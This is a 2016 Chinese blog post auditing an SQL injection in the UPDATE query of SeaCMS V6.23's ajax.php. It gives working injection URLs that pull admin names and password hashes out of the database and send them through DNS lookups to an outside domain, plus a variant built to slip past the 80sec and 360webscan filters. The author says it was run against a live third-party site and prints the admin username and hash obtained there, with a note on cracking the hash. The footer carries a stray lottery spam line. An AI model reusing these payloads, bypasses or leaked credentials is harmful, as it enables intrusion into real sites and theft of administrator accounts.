?

Aug 31 2016

Seacms最新版多處update注入(繞過360webscan)

首頁 » 代碼審計 » Seacms最新版多處update注入(繞過360webscan)   

Seacms最新版多處update注入(繞過360webscan)

update注入一枚,通過dns直接獲取敏感信息。

版本:V6.23

同時繞過80sec ids,360webscan

SeaCms有一個類似全局注冊變量的機制,為后面的漏洞埋下了伏筆


 

//檢查和注冊外部提交的變量

foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}

function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

 

 


漏洞文件:\include\ajax.php

11-44行
 

switch ($action) {
case "digg":
case "tread":
case "score":
echo scoreVideo($action);
break;
case "diggnews":
case "treadnews":
case "scorenews":
echo scoreNews($action);
break;
case "hit":
echo updateHit();
break;
case "hitnews":
echo updateHitNews();
break;
case "addfav":
echo addfav();
break;
case "videoscore":
case "newsscore":
echo getScore($action);
break;
case "vpingfen":
echo vpingfen($action);
break;
case "npingfen":
echo npingfen($action);
break;
case "member":
echo member();
break;
}

 


問題出在了scoreVideo()函數,跟進這個函數


 

function scoreVideo($operType){
global $id,$dsql,$score;

if($id < 1) return "err";
.......此處省略幾行代碼..........
}elseif($operType=="score"){
if(GetCookie("ssea3_score".$id)=="ok") return "havescore";
$dsql->ExecuteNoneQuery("Update `sea_data` set v_scorenum=v_scorenum+1,v_score=v_score+".$score." where v_id=$id");
PutCookie("ssea3_score".$id,"ok",3600 * 24,'/');
return '';
}else{
return "err";
}
}

 


$dsql->ExecuteNoneQuery("Update `sea_data` set v_scorenum=v_scorenum+1,v_score=v_score+".$score." where v_id=$id");

 

$id和$score都可以控,造成了SQL注入。

 

$score=2,v_digg=(select user())
的時候,意外的把字段v_digg的內容利用子查詢更新成工具者想獲取的信息

 

接下來編寫poc

 

首先理清程序的邏輯

 

$action=score 才能進入scoreVideo()這個函數

 

同時$id要大于1,否則 return "err";

 

Cookie中ssea3_score.$id的值不能為ok,否則 return "havescore";

 

因為無法直接獲取子查詢的數據,這里我使用DNS來獲取數據(這個方法的局限性是目標環境要使用root用戶連接的數據庫才能獲取到數據)

 

參考《在SQL注入中使用DNS獲取數據》

http://**.**.**.**/tips/5283

 

理論上poc為:


 

http://localhost/include/ajax.php?action=score&id=1&score=2,v_digg=(SELECT%20LOAD_FILE(CONCAT(0x5c5c5c5c,(select%20concat_ws(0x5f,name,password)%20from%20sea_admin%20limit%201),0x2e33633866396633646330633032363538356261303131326633316335353632632e776f6f79756e2e67715c5c5c5c666f6f626172)))

 


但是由于程序使用了80sec的ids。繞過后的POC:
 

http://localhost/include/ajax.php?action=score&id=1&[email protected]`\'`,v_digg=(SELECT%20LOAD_FILE(CONCAT(0x5c5c5c5c,(select%20concat_ws(0x5f,name,password)%20from%20sea_admin%20limit%201),0x2e33633866396633646330633032363538356261303131326633316335353632632e776f6f79756e2e67715c5c5c5c666f6f626172))),[email protected]`\'`

 


在本地調試的時候,360webscan不會進行攔截,但在實際線上環境中,上面的poc是會被360webscan攔截的。


 1.png

 

此還得繞過360webscan(最終poc在測試代碼中)
找了一個線上環境:http://**.**.**.**/
dns獲取到的
 

 

 2.png

 

 

用戶:mosss 密碼:78832884f6c8c932a264
Seacms的加密方式和dedecms都是20位的md5,要還原密碼得前減3位后減1位,得到16位MD53.png

 

 

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: Seacms漏洞 Seacms注入 繞過360webscan

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «360webscan防御腳本繞過 | cmseasy最新注入+360webscan的繞過分析»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖